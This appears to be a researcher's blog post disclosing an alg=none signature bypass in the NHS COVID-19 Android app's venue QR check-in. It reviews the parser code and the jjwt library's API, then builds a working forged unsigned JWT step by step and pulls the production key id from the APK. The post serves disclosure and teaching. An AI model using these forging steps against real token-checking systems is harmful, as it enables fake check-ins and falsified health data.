Due to the nature of the app here, I want to start this blog post with a disclaimer:

This describes a minor security flaw in the app that has no impact on its ability to function as part of a Track and Trace system. I also want to be explicitly clear that this bug does not have any privacy impact whatsoever. Lastly, there is nothing nefarious about this bug. It's a mistake (largely on the part of a third-party dependency) and nothing more, one that is easily (and commonly) made.

TL;DR

The NHS COVID-19 Android app, the official contact tracing app for England and Wales, uses signed JWT tokens for its ā€œscan into a venueā€ feature but does not properly validate the signatures, meaning anyone could have forged their own venue QR codes.

This vulnerability is due to a mixture of JWTs being fundamentally difficult to verify correctly and a particularly awful JWT library API.

I was able to discover the vulnerability from reading the source code and getting the relevant app code running on my computer in a test harness to experiment with it.

I reported the vulnerability to the NHS team who fixed it very quickly, and they have written their own blog post about the process.

The Full Story

It all started, as many things do, with a tweet:

For those of you who don't know, these QR codes are for venues, such as pubs and bars, to display so that customers can check in via the NHS (National Health Service) mobile app. This makes it faster and more convenient to track who was at the venue in order to contact them if anyone else there tests positive for coronavirus.

For whatever reason, the NHS venue QR codes are JWTs, and they are cryptographically signed.

Like anyone in security, as soon as I heard the letters ā€œJWTā€, I thought, ā€œI wonder if they got the signature checking correctā€.

Spoiler alert: they didnā€™t:

A screenshot of a mobile phone app: Green check mark. Title: Successful check-in. Large text: Barnard Castle Eye Testing Facility. Smaller test: 30 Sep 2020, 12:53. Thank you for scanning. You have now checked in! You'll be automatically checked out at midnight or when you scan another official NHS QR code. Button: Back to home. Link: Cancel this check-in.

Background: JWTs & Signing

In case you donā€™t know what a JWT is, itā€™s an entirely unnecessary and rather over-complicated specification for encoding data in JSON format and: cryptographically signing it, so it cannot be altered; encrypting it, so it cannot be read; both; or ā€” popularly (if accidentally) ā€” neither.

This post is about signed JWTs and bypassing the signature checks on them, so Iā€™m not going to mention encryption any more. From here on, every time I say ā€œJWTā€ I mean ā€œunencrypted (but possibly signed) JWTā€.

You donā€™t need to know everything about JWTs to follow along here, but you do need to know this much: A JWT consists of three parts: a header, a payload, and an optional signature. Hereā€™s an example:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjEifQ.eyJuYW1lIjoiem9mcmV4IiwibWVzc2FnZSI6ImhlbGxvLCB3b3JsZCEifQ.40IhxsQj3rVqfQSpdzZTroSs1onXrTJUsy6yC1SadK0

Each part is Base64 encoded, which isnā€™t important here. Once decoded, it looks like this:

{"alg":"HS256","typ":"JWT","kid":"1"}.{"name":"zofrex","message":"hello, world!"}.<inscrutable cryptographic soup>

The header tells whoever is verifying the JWT which cryptographic algorithm was used to sign it (alg), and optionally an identifier for the key it was signed with (kid).

There are a number of problems that JWTs are shoe-horned into being a solution for, and one very common one is for verifying data that is passed between services by an untrusted user. For example, service A produces a token and gives it to a user, who then presents the token to service B. Because the token is round-tripping through the user, itā€™s important to make sure that they havenā€™t altered it and that the token really was generated by the first service.

In the context of the NHS App, ā€œservice Aā€ is the website that generates QR codes for venues to display, and ā€œservice Bā€ is the NHS COVID-19 app. There are actually multiple untrusted users carrying the QR code from service A to service B: the venue owner who prints out the QR code and sticks it up on the wall, and any customers who scan the QR code with their phone. Because of the cryptographic signature, the app can verify that the QR code it scans really was created by the official website.

Thatā€™s the theory, anyway.

In security and cryptography circles, JWTs used in this way are practically synonymous with ā€œalg=noneā€ bugs. Remember that alg field in the header earlier? One of the options is ā€œnoneā€. This, as you may have guessed already, means no verification occurs. This has proven to be the single biggest footgun in the JWT specification. Despite seemingly being a very obvious trap to avoid, many JWT libraries out there hide these details from users and make it very easy to accidentally allow the ā€œnoneā€ algorithm.

The bottom line here is that this is hilariously and depressingly common, and well worth double-checking if you are investigating any system that uses JWTs, or, heaven help you, building one. Thatā€™s why this was my first thought upon learning the NHS app uses JWTs, and itā€™s why I wanted to check if they made this specific mistake.

Letā€™s Take A Look

The Android and iOS NHS apps are both open source, so itā€™s very easy for someone like me ā€” more accustomed to reading/writing source code than reverse engineering ā€” to take a look. A quick search for ā€œJWTā€ in each repo later and we find:

The iOS app:

public struct QRCode {
    var key: P256.Signing.PublicKey
    
    public init(
        key: P256.Signing.PublicKey
    ) {
        self.key = key
    }
    
    func parse(_ payload: String) throws -> Venue {
        // ...
        guard let signature = try? P256.Signing.ECDSASignature(rawRepresentation: jwt.signature) else {
            throw InitializationError.invalidSignature
        }
        
        let digest = SHA256.hash(data: jwt.signed)
        guard key.isValidSignature(signature, for: digest) else {
            throw InitializationError.invalidSignature
        }
        
        let decoder = JSONDecoder()
        return try decoder.decode(Venue.self, from: jwt.payload)
    }
}

(Iā€™ve omitted code not relevant to the signature checking)

This looks fine. Sure, itā€™s a little bit weird to do the key checking yourself rather than defer to a JWT library for it, but on the other hand, itā€™s extremely obvious from reading this code that itā€™s avoiding the ā€œalg=noneā€ issue (I cannot vouch for the cryptography, however. Iā€™m just an ā€œalg=noneā€ expert).

The key part here is that the signing algorithm is hardcoded to P256, so setting alg to ā€œnoneā€ in the JWT itself will have no effect on verification. Additionally, the key to use is also hardcoded: itā€™s passed into the class via the constructor. The kid (key id) field in the JWT is checked, but ultimately thrown away. The JWT is not trusted to choose the algorithm or the key, and in that sense this is a great example of how to safely use JWTs, if you do absolutely have to use them.

Finally, the payload of the JWT is not decoded or used at all until after the signature is verified. This isnā€™t really relevant to the ā€œalg=noneā€ issue, but it is good practice in general to only access signed data after verifying that it hasnā€™t been tampered with. In cryptography, this protects you from clever cryptographic attacks. With JWTs, it ensures you donā€™t accidentally use attacker-provided data for any decisions in your code if the signature fails, and it has a side benefit of creating a layered defence against exploiting the JSON parser (historically a rich source of bugs).

Anyway, this code looks fine. Great! On to Android (again, Iā€™ve omitted irrelevant code):

class QrCodeParser @Inject constructor(
    private val signatureKey: SignatureKey
) {
    private val venueAdapter = moshi.adapter(Venue::class.java)
    private val jwtHeaderAdapter = moshi.adapter(JwtHeader::class.java)

    fun parse(rawValue: String): Venue {
        //...
        val jwt = try {
            parseJWT(jwtString)
        } catch (exception: java.lang.Exception) {
            throw IllegalArgumentException("Invalid JWT", exception)
        }

        if (!hasValidSignature(jwtString, jwt.header.kid)) {
            throw IllegalArgumentException("QR code signature validation failed")
        }
        return jwt.venue
    }

    private fun parseJWT(jwt: String): Jwt {
        val components = jwt.split(".")
        return when (components.size) {
            3 -> {
                val header = jwtHeaderAdapter.fromJson(base64Decoder.decodeUrl(components[0]))
                    ?: throw throw IllegalArgumentException("Error decoding header")
                val venue = venueAdapter.fromJson(base64Decoder.decodeUrl(components[1]))
                    ?: throw throw IllegalArgumentException("Error decoding payload")
                Jwt(header, venue)
            }
            else -> throw IllegalArgumentException()
        }
    }

    private fun hasValidSignature(jwtString: String, keyId: String): Boolean {
        if (signatureKey.id != keyId) {
            throw IllegalArgumentException("Unknown keyId received: $keyId")
        }

        return runCatching {

            val undecoratedString = signatureKey.pemRepresentation
                .split("\n")
                .filter { !(it.isEmpty() || it.startsWith("-----")) }
                .joinToString("")
            val publicKeyBytes: ByteArray = base64Decoder.decodeToBytes(undecoratedString)

            val publicKey =
                KeyFactory.getInstance("EC").generatePublic(X509EncodedKeySpec(publicKeyBytes))
            Jwts.parserBuilder()
                .setSigningKey(publicKey)
                .build()
                .parse(jwtString)
            true
        }.getOrElse {
            print(it)
            false
        }
    }

Phew, thereā€™s a lot more going on here! Letā€™s break it down.

We start in the parse function, and after some basic data juggling, we parse the JWT. Then we check if the signature is correct, and if it isnā€™t, we bail:

val jwt = try {
    parseJWT(jwtString)
}
//...
if (!hasValidSignature(jwtString, jwt.header.kid)) {
    throw IllegalArgumentException("QR code signature validation failed")
}

First, letā€™s check parseJWT to see if thatā€™s doing anything with the signature:

private fun parseJWT(jwt: String): Jwt {
    val components = jwt.split(".")
    return when (components.size) {
        3 -> {
            val header = jwtHeaderAdapter.fromJson(base64Decoder.decodeUrl(components[0]))
                ?: throw throw IllegalArgumentException("Error decoding header")
            val venue = venueAdapter.fromJson(base64Decoder.decodeUrl(components[1]))
                ?: throw throw IllegalArgumentException("Error decoding payload")
            Jwt(header, venue)
        }
        else -> throw IllegalArgumentException()
    }
}

Nope, this isnā€™t doing anything with the signature. Itā€™s decoding the first two parts of the JWT ā€” the header and the payload ā€” as JSON, and ignoring the signature, other than making sure one is present.

Ok, so the app is parsing the JWT before verifying the signature ā€“ which isnā€™t great, but on the plus side itā€™s very easy to follow the code paths and verify that the payload is thrown away if signature verification fails.

Letā€™s take a look at the signature checking, then:

if (!hasValidSignature(jwtString, jwt.header.kid)) {
    throw IllegalArgumentException("QR code signature validation failed")
}

Iā€™m immediately worried about this, because weā€™re passing in the key id (kid) from the JWT itself, but letā€™s see what actually happens in this function:

class QrCodeParser @Inject constructor(
    private val signatureKey: SignatureKey
) {
//...
    private fun hasValidSignature(jwtString: String, keyId: String): Boolean {
        if (signatureKey.id != keyId) {
            throw IllegalArgumentException("Unknown keyId received: $keyId")
        }

        return runCatching {

            val undecoratedString = signatureKey.pemRepresentation
                .split("\n")
                .filter { !(it.isEmpty() || it.startsWith("-----")) }
                .joinToString("")
            val publicKeyBytes: ByteArray = base64Decoder.decodeToBytes(undecoratedString)

            val publicKey =
                KeyFactory.getInstance("EC").generatePublic(X509EncodedKeySpec(publicKeyBytes))
            Jwts.parserBuilder()
                .setSigningKey(publicKey)
                .build()
                .parse(jwtString)
            true
        }.getOrElse {
            print(it)
            false
        }
    }

First of all, I was worrying needlessly about the key id ā€” itā€™s immediately checked against signatureKey, which is passed in to the parserā€™s constructor, so thatā€™s fine.

Moving on, thereā€™s some helper code to turn signatureKey from its PEM representation to a raw byte array, which is mechanical and uninteresting.

Then we get to the meat of it: we create a key object with a hardcoded algorithm of ā€œECā€, we create a JWT parser with the signing key set to our hardcoded key, and we parse the JWT.

Despite some initial suspicion, this looks great. The algorithm and key are hardcoded, and signature verification is offloaded to the JWT library, which has been told explicitly to use this key to verify signatures. As the key is strongly typed, that should force the JWT to use the correct algorithm as well, because you canā€™t use an EC key with the HMAC algorithm, for example. Thereā€™s no room for an ā€œalg=noneā€ bug here, so this is where our story ends.

ā€¦

ā€¦

Or is it?

Letā€™s Take A Slightly Closer Look

As I went about my day, something about the Android code was nagging at my mind. I started to wonder: was it really correct? Of course it was ā€” it hardcodes the key, and enforces which algorithm is used to verify signatures. What could possibly go wrong? Still, maybe there was a gap here somewhere. I remembered that many JWT libraries have terrible APIs, and itā€™s sometimes not obvious which method is the ā€œverify a JWT and then give me the dataā€ one and which is the ā€œignore the signature and just give me the dataā€ one.

I returned to the code and checked which JWT library itā€™s using. Itā€™s called jjwt, it has some kind of connection to the famous security company Okta, and it is not going to come out of this blogpost smelling of roses.

The library was created by Oktaā€™s Senior Architect, Les Hazlewood and is supported and maintained by a community of contributors.

Okta is a complete authentication and user management API for developers.

ā€” The jjwt README

Hereā€™s the NHS app again, just the JWT parsing part:

Jwts.parserBuilder()
    .setSigningKey(publicKey)
    .build()
    .parse(jwtString)

Itā€™s practically a trope for JWT libraries to have misleading function names, so I do a cmd+f on the jjwt README for parse, and one of the first things I find is:

NOTE: Ensure you call the parseClaimsJws method (since there are many similar methods available). You will get an UnsupportedJwtException if you parse your JWT with wrong method.

This is not a promising start. ā€œMany similar methodsā€ being available sounds like there may be a minefield of non-obvious choices for developers to make here. But hey, it says the consequences of getting this wrong are an UnsupportedJwtException, so maybe itā€™s not terrible.

I keep searching and come to this ā€” inexplicably located two-thirds of the way down the README and typeset in the same manner as the rest of the text, rather than being at the very top of the page in bright pink three-inch high lettering inside a <blink> tag:

NOTE: If you are expecting a JWS, always call JwtParserā€™s parseClaimsJws method (and not one of the other similar methods available) as this guarantees the correct security model for parsing signed JWTs.

Uh-oh. Now this really does sound terrible. This code definitely isnā€™t calling the parseClaimsJws method, and it sounds like thatā€™s pretty important to do.

In fact, the parse method doesnā€™t appear anywhere in the README at all.

Letā€™s go and find out what it does!

A Whirlwind Tour Of A Terrible API

A quick search of the jjwt codebase lands us at JwtParser.java, which contains documentation for the various parsing methods. There are quite a few options:

  • parse(String jwt)
  • parse(String jwt, JwtHandler<T> handler)
  • parsePlaintextJwt(String plaintextJwt)
  • parseClaimsJwt(String claimsJwt)
  • parsePlaintextJws(String plaintextJws)
  • parseClaimsJws(String claimsJws)

Well, letā€™s start at the top:

Jwt parse(String jwt)

Parses the specified compact serialized JWT string based on the builderā€™s current configuration state and returns the resulting JWT or JWS instance.

This method returns a JWT or JWS based on the parsed string. Because it may be cumbersome to determine if it is a JWT or JWS, or if the body/payload is a Claims or String with instanceof checks, the parse(String,JwtHandler) method allows for a type-safe callback approach that may help reduce code or instanceof checks.

Throws:

SignatureException - if a JWS signature was discovered, but could not be verified. JWTs that fail signature validation should not be trusted and should be discarded.

The description isnā€™t explicit, but the ā€œifā€ in ā€œif a JWS signature was discoveredā€ makes it sound like signature verification might be optional here.

Letā€™s take a look at the other general purpose method here:

Jwt parse(String jwt, JwtHandler<T> handler)

If you know the JWT string can be only one type of JWT, then it is even easier to invoke one of the following convenience methods instead of this one:

parsePlaintextJwt(String) parseClaimsJwt(String) parsePlaintextJws(String) parseClaimsJws(String)

What does ā€œcan be only one type of JWTā€ mean? If we pass in a JWT of the wrong type, will it throw an error, or will it accept it and assume itā€™s the right type without checking? In other words, are we guaranteeing that invariant, or is the library?

Well, parsePlaintextJwt and parseClaimsJwt both explicitly say they will throw an exception if the JWT they are passed is signed.

parsePlaintextJws and parseClaimsJws both have similar documentation that says they will throw an exception if the JWT they are passed is not signed. For example, parseClaimsJws says:

This is a convenience method that is usable if you are confident that the compact string argument reflects a Claims JWS. A Claims JWS is a JWT with a Claims body that has been cryptographically signed.

If the compact string presented does not reflect a Claims JWS, an UnsupportedJwtException will be thrown.

So what does ā€œIf you know the JWT string can be only one type of JWT, then it is even easier to invoke one of the following convenience methods instead of this oneā€ mean? It means ā€œI want you, the library, to enforce this invariantā€. This is not only dangerously ambiguous language, but to me it means the exact opposite: call this method only if youā€™ve already checked this invariant!

Itā€™s not just me: I polled three other developers, and all three of them interpreted this the other way! That means all three of them would potentially use this library incorrectly even if they read the Javadoc rather than just picking the most obvious-looking function. Additionally, one of the three people I polled said:

ā€œthis phrase is hurting my brainā€

This is not a good property for arguably the most important piece of documentation in your entire API.

Knowing all this, it seems incredibly likely that the Android app is vulnerable after all. It looks like if we pass in a JWT that is unsigned ā€” i.e., "alg": "none" ā€” the code will accept it, as long as we still set the key id (kid) in the header to the correct value. I also donā€™t feel Iā€™m going to get any more value from reading the misleading and confusing documentation for this library. Itā€™s time to run the code and see what happens.

Run The Code

I decided the best way to test if the app would actually accept forged JWTs with no signature was to get the code from QrCodeParser.kt running on my computer. This way, as I experiment Iā€™ll be able to see the particular exceptions being thrown rather than a generic error message, which will tell me how far Iā€™m getting through the security checks and which check my QR code is failing. It also avoids having to get the entire app up and running and debugging it as a whole, which I think will probably be harder to achieve.

Of course, nothing will confirm it for sure except using the real production app, but I donā€™t want to spam the NHS with fake check-in data while I experiment. I donā€™t think theyā€™d appreciate that.

The next best thing is to try to get the exact code running, so Iā€™ll try to alter QrCodeParser.kt as little as possible to get it running.

Getting this working was mostly a case of getting a Kotlin + Gradle build working so I could add in dependencies, but there were a few notable pieces of work:

  • Copying over other classes from Github that the code required.
  • Creating an implementation of Base64Decoder that would run on the JVM, as the one from the app is Android specific (thank you NHS developers for separating interface and implementation here, which made this easy).
  • Ripping out Dagger / dependency injection. While I wanted to keep the code identical if possible, I knew from experience that getting Dagger working would take me a lot of time and effort, and hardcoding a few dependencies in a constructor call is not a large change.
  • Providing a SignatureKey object. This class is entirely missing from the code on Github. I think this is because itā€™s configurable per-environment, so maybe itā€™s supplied by their build process?

The SignatureKey is the part most relevant to our exploit. From its usage in the code, itā€™s easy to create a class that will substitute for the real one:

class SignatureKey(
    val id: String,
    val pemRepresentation: String
)

The id identifies the key somehow, and the pemRepresentation is the full public key in the PEM format.

We donā€™t have these values for the production app, but for testing the code we can make up our own. What the values are doesnā€™t really matter for the purpose of proving this vulnerability as long as we donā€™t make use of the private key (which we wonā€™t have access to for the real app).

ā€œ1ā€ seems to be a popular value for key id, so letā€™s go with that and generate a new random EC keypair to get a public key.

We now have everything we need to run the code:

fun main(args: Array<String>) {
    val base64decoder = PCBase64Decoder()
    val moshi = Moshi.Builder().build()
    val signatureKey = SignatureKey("1", "-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEllFzZviZBq8zAq8yQo1KhjsMb9gk\niTqVNkdqSz2d6vXRF71UOWOtxCKQvenj24qwQkVoxtKfcHSNolJkyf3pgg==\n-----END PUBLIC KEY-----")
    val parser = QrCodeParser(base64decoder, moshi, signatureKey)

    parser.parse("")
}

Running this gives us an error ā€” unsurprisingly, as the input is empty:

> Task :run FAILED
Exception in thread "main" java.lang.IllegalArgumentException: Invalid QR code content
        at zofrex.QrCodeParser.parse(QrCodeParser.kt:32)
        at zofrex.MainKt.main(Main.kt:26)

But the point is that the code compiles, runs, and gets far enough to complain that the QR code is invalid rather than a NullPointerException.

The QR Code Format

Now we can experiment! First of all, I wanted to get a real QR code to see what the contents usually are to serve as a starting point. I didnā€™t really fancy leaving the house and going to an actual venue though, partly because of the whole pandemic thing, but mostly because the nearest one was a Wetherspoons. A cursory Google Image Search didnā€™t bring up any real check-in codes, which makes sense as you donā€™t want the entire population of the UK checking into the same place to ā€œtest the appā€. Maybe the NHS app itself can tell us more about these QR codes?

A screenshot of a mobile phone app, which reads: Help scanning a QR code. How do I recognise an official NHS QR code? This is what the official English/Welsh NHS QR code poster looks like. Use your phone camera to scan the QR code which is the square in the middle. English NHS QR code poster: There is a photograph of a poster titled 'Let's help stop the spread of coronavirus' with a QR code in the centre, and 'Test Location name' below the QR code.

Even though itā€™s very small on the screen, it is possible to scan that QR code, and it contains the following:

UKC19TRACING:1:eyJhbGciOiJFUzI1NiIsImtpZCI6IjEifQ.eyJpZCI6IkFCQ0QxMjM0IiwidHlwIjoiZW50cnkiLCJvcG4iOiJJc2xlIE9mIE1hbiBHb3Zlcm5tZW50IE9mZmljZSBPZiBIdW1hbiDlrrblr4zosarEgSBUZXN0MDEiLCJhZHIiOiJJc2xlIE9mIE1hbiBHb3Zlcm5tZW50IE9mZmljZSBPZiBBcnNlbmFsIFJlc291cmNlc1xuTGVhcm5pbmcgRWR1Y2F0aW9uIGFuZCBEZXZlbG9wbWVudFxuVGhlIExvZGdlIEVkdWNhdGlvbiBhbmQgVHJhaW5pbmcgQ2VudHJlLCBCcmFkZGFuIFJvYWQsIFN0cmFuZywgRG91Z2xhc1xuSVNMRSBPRiBNQU4sIElNNCA0UU4iLCJwdCI6IklTTEUgT0YgTUFOIiwicGMiOiJJTTQgNFFOIn0.KlS7YV28BHLJ-F0q9fbPM2Dh-rrsvo-GdkAuuSpA0QQqyFivVYW-pQCLJbTYIs-1dqhjQTJeUBd-mkZp85KBHQ

Thereā€™s some extra stuff at the beginning but it looks like thereā€™s a JWT after it. From the QRCodeParser.kt code we can see that itā€™s expecting all QR codes to contain a fixed constant, ā€œUKC19TRACINGā€, a version number (currently 1), and a JWT, separated by colons, and it appears thatā€™s what we have here.

Putting the JWT into a decoder gives us the following:

Header:

{
  "alg": "ES256",
  "kid": "1"
}

Payload:

{
  "id": "ABCD1234",
  "typ": "entry",
  "opn": "Isle Of Man Government Office Of Human 家åƌč±Ŗā Test01",
  "adr": "Isle Of Man Government Office Of Arsenal Resources\nLearning Education and Development\nThe Lodge Education and Training Centre, Braddan Road, Strang, Douglas\nISLE OF MAN, IM4 4QN",
  "pt": "ISLE OF MAN",
  "pc": "IM4 4QN"
}

Great! This does look like itā€™s a real venue QR code, and it looks like itā€™s in the right format to be accepted by the app, so we can use this as the payload.

Letā€™s see what happens if we put this QR code into our little test application:

parser.parse("UKC19TRACING:1:eyJhbGciOiJFUzI1NiIsImtpZCI6IjEifQ.eyJpZCI6IkFCQ0QxMjM0IiwidHlwIjoiZW50cnkiLCJvcG4iOiJJc2xlIE9mIE1hbiBHb3Zlcm5tZW50IE9mZmljZSBPZiBIdW1hbiDlrrblr4zosarEgSBUZXN0MDEiLCJhZHIiOiJJc2xlIE9mIE1hbiBHb3Zlcm5tZW50IE9mZmljZSBPZiBBcnNlbmFsIFJlc291cmNlc1xuTGVhcm5pbmcgRWR1Y2F0aW9uIGFuZCBEZXZlbG9wbWVudFxuVGhlIExvZGdlIEVkdWNhdGlvbiBhbmQgVHJhaW5pbmcgQ2VudHJlLCBCcmFkZGFuIFJvYWQsIFN0cmFuZywgRG91Z2xhc1xuSVNMRSBPRiBNQU4sIElNNCA0UU4iLCJwdCI6IklTTEUgT0YgTUFOIiwicGMiOiJJTTQgNFFOIn0.KlS7YV28BHLJ-F0q9fbPM2Dh-rrsvo-GdkAuuSpA0QQqyFivVYW-pQCLJbTYIs-1dqhjQTJeUBd-mkZp85KBHQ")

I expect it to be rejected for a signature mismatch, as our code is expecting to see a JWT signed with the public key we generated earlier, and this is signed with some other key. Letā€™s see:

> Task :run FAILED
io.jsonwebtoken.security.SignatureException: JWT signature does not match locally computed signature. JWT validity cannot be asserted and should not be trusted.Exception in thread "main" java.lang.IllegalArgumentException: QR code signature validation failed
        at zofrex.QrCodeParser.parse(QrCodeParser.kt:49)
        at zofrex.MainKt.main(Main.kt:27)

As expected! This is a good result, because it means we have the code executing correctly in the test harness and getting as far as the signature checking, rather than erroring out earlier on. As designed, the code wonā€™t accept a JWT signed by just anyone, it has to be signed by the right key.

Now letā€™s see if we can get around that restriction.

Building A Forged Token

What I want to do is create my own token with "alg": "none" and a payload similar to the test token, but all the websites I find for easily generating JWTs donā€™t allow you to pick ā€œnoneā€ as an option. Still, as a starting point, the jwt.io website has a nice online generator, which generates this header:

{
  "alg": "ES256",
  "typ": "JWT",
  "kid": "1"
}

I enter this payload into the site:

{
  "id": "ABCD1234",
  "typ": "entry",
  "opn": "Barnard Castle Eye Testing Facility",
  "adr": "Scar Top\nBarnard Castle\nDurham\nDL12 8PR",
  "pt": "UNITED KINGDOM",
  "pc": "DL12 8PR"
}

And the site generates this token:

eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjEifQ.eyJpZCI6IkFCQ0QxMjM0IiwidHlwIjoiZW50cnkiLCJvcG4iOiJCYXJuYXJkIENhc3RsZSBFeWUgVGVzdGluZyBGYWNpbGl0eSIsImFkciI6IlNjYXIgVG9wXG5CYXJuYXJkIENhc3RsZVxuRHVyaGFtXG5ETDEyIDhQUiIsInB0IjoiVU5JVEVEIEtJTkdET00iLCJwYyI6IkRMMTIgOFBSIn0.NnTeHiAAsHx4EytLk8vKEoA2_hNv8Z89nlTZ2qmys_8V2zDEKbE2iTrhGSb6STpMgqN7A3RX0ka5Ke7ADI_LNg

As expected, if we give the parser this token it doesnā€™t like it:

> Task :run FAILED
io.jsonwebtoken.security.SignatureException: JWT signature does not match locally computed signature. JWT validity cannot be asserted and should not be trusted.Exception in thread "main" java.lang.IllegalArgumentException: QR code signature validation failed
        at zofrex.QrCodeParser.parse(QrCodeParser.kt:49)
        at zofrex.MainKt.main(Main.kt:27)

But what happens if we tell it to use "alg": "none" instead of ES256?

None of the online JWT creators would let me do this, but as we discussed earlier this is just Base64-encoded JSON. We can make the header ourselves:

{
  "alg": "none",
  "typ": "JWT",
  "kid": "1"
}

We just need to strip out the extra whitespace and Base64 encode it, giving us:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoiMSJ9Cg

We put this header together with the payload and signature from the token we generated:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoiMSJ9Cg.eyJpZCI6IkFCQ0QxMjM0IiwidHlwIjoiZW50cnkiLCJvcG4iOiJCYXJuYXJkIENhc3RsZSBFeWUgVGVzdGluZyBGYWNpbGl0eSIsImFkciI6IlNjYXIgVG9wXG5CYXJuYXJkIENhc3RsZVxuRHVyaGFtXG5ETDEyIDhQUiIsInB0IjoiVU5JVEVEIEtJTkdET00iLCJwYyI6IkRMMTIgOFBSIn0.NnTeHiAAsHx4EytLk8vKEoA2_hNv8Z89nlTZ2qmys_8V2zDEKbE2iTrhGSb6STpMgqN7A3RX0ka5Ke7ADI_LNg

And feed that to the parser, which will hopefully accept it:

> Task :run FAILED
io.jsonwebtoken.MalformedJwtException: JWT string has a digest/signature, but the header does not reference a valid signature algorithm.Exception in thread "main" java.lang.IllegalArgumentException: QR code signature validation failed
        at zofrex.QrCodeParser.parse(QrCodeParser.kt:49)
        at zofrex.MainKt.main(Main.kt:27)

Well, that makes sense in a way. Rather than seeing "alg": "none" and not checking for a signature, the JWT library is seeing a signature and looking at the alg field to see how to process it ā€“ and not getting an answer that makes sense, because ā€œnoneā€ isnā€™t a signature algorithm.

Maybe we can remove the signature entirely, then?

eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoiMSJ9Cg.eyJpZCI6IkFCQ0QxMjM0IiwidHlwIjoiZW50cnkiLCJvcG4iOiJCYXJuYXJkIENhc3RsZSBFeWUgVGVzdGluZyBGYWNpbGl0eSIsImFkciI6IlNjYXIgVG9wXG5CYXJuYXJkIENhc3RsZVxuRHVyaGFtXG5ETDEyIDhQUiIsInB0IjoiVU5JVEVEIEtJTkdET00iLCJwYyI6IkRMMTIgOFBSIn0

Unfortunately not:

> Task :run FAILED
Exception in thread "main" java.lang.IllegalArgumentException: Invalid JWT
        at zofrex.QrCodeParser.parse(QrCodeParser.kt:45)
        at zofrex.MainKt.main(Main.kt:27)
Caused by: java.lang.IllegalArgumentException
        at zofrex.QrCodeParser.parseJWT(QrCodeParser.kt:64)
        at zofrex.QrCodeParser.parse(QrCodeParser.kt:43)
        ... 1 more

Clearly, the code is expecting a JWT to have 3 parts: a header, a payload, and a signature, separated by ā€œ.ā€. But if we pass in a signature, the JWT library will complain that the algorithm is invalid! How can we pass in a three-part JWT that has no signature?

We could tryā€¦ an empty signature?

eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoiMSJ9Cg.eyJpZCI6IkFCQ0QxMjM0IiwidHlwIjoiZW50cnkiLCJvcG4iOiJCYXJuYXJkIENhc3RsZSBFeWUgVGVzdGluZyBGYWNpbGl0eSIsImFkciI6IlNjYXIgVG9wXG5CYXJuYXJkIENhc3RsZVxuRHVyaGFtXG5ETDEyIDhQUiIsInB0IjoiVU5JVEVEIEtJTkdET00iLCJwYyI6IkRMMTIgOFBSIn0.

Note the final ā€œ.ā€ there. This JWT still has three parts ā€” a header, a payload, and a signature ā€” but the last part (the signature) is empty.

What does the parser think?

> Task :run

BUILD SUCCESSFUL in 1s

Victory!

Weā€™ve managed to create our own, forged, token. We can put in any payload we want, and we donā€™t need to know the private key to produce a valid signature in order for the parser code to accept it.

The only thing left to do is to confirm this is really an issue in the actual app as well as in our test bed. As much as I tried to ensure the code stayed similar, I canā€™t be 100% certain: maybe the JWT dependency is a different version and behaves differently, maybe the code on Github isnā€™t 100% up to date with the production app, maybe some other factor changes how this code runs on my machine. I know from experience that no matter how confident you are something is vulnerable, you canā€™t be certain without testing it.

Testing the Real App

If youā€™re doing something similar to this, this is the point where you really need to go check for a disclosure policy before continuing if you havenā€™t already. Testing this works on the production app will potentially send data back to them, and at that point weā€™re poking at a real live system and need to tread carefully.

Wonderfully, the contact us page on the official website for the app has details of what to do if you find a vulnerability. This is always great to see! That page takes us to their policy on HackerOne. These two pages clearly define the scope, confirm that the app is within scope, and give useful guidelines on what is and is not allowed.

The guidelines ask for steps to reproduce and a proof of concept to be included with reports, so I need to create a QR code that will actually work with the production app. Iā€™m confident that doing a single check-in for testing my code works before submitting doesnā€™t violate their guidelines, and is a sensible step to take to ensure my PoC works and my report doesnā€™t waste their time. (Wasting your own time is fine.)

All we need in order to create a QR code that the real app will accept is that SignatureKey data that was missing from the Github repo. Even though we donā€™t have the source code, it must be in the app itself, and itā€™s not hard to extract code or data from Android apps. All you need is to download the APK file from the Play Store, either by extracting it from a real Android phone yourself, or by using one of the many extremely dodgy-looking websites that offer to let you download APKs.

Once thatā€™s done, pop it open with apktool, and you have all the resources for the app and the classes:

% java -jar ~/Downloads/apktool_2.4.1.jar d uk.nhs.covid19.production_3.6.1_\(70\)-70_minAPI23\(nodpi\)_apkmirror.com.apk
I: Using Apktool 2.4.1 on uk.nhs.covid19.production_3.6.1_(70)-70_minAPI23(nodpi)_apkmirror.com.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/zofrex/Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes2.dex...
I: Baksmaling classes3.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory

It doesnā€™t take much searching with grep to find where SignatureKey is initialised with the constants for key id and the public key in PEM format. These constants are in code, not in resources, and the code hasnā€™t been decompiled, so it looks a bit weird. It has been disassembled though, so it is human-readable. Iā€™ve read enough disassembled bytecode that this is good enough for me, at least for something simple like finding a string constant, but if youā€™re more used to source code you may want to take the additional step of decompiling apps to read their code.

The initialisation looks like this:

.line 38
new-instance v0, Luk/nhs/covid19/config/SignatureKey;

const-string v1, "dFr_VktyQbzGnc7oHcxhr0pjK1htAkkH3TYzoAgxzk0"

const-string v2, "-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAExPlLBwDzRMpFUS+qb1VM8Ogcu41M\nf+qzgpeHpz7cGZaGtnbZBZJF3WAenBZzq5z0sZ6Nu/xSuZMk1HAzIC5ynA==\n-----END PUBLIC KEY-----"

invoke-direct {v0, v1, v2}, Luk/nhs/covid19/config/SignatureKey;-><init>(Ljava/lang/String;Ljava/lang/String;)V

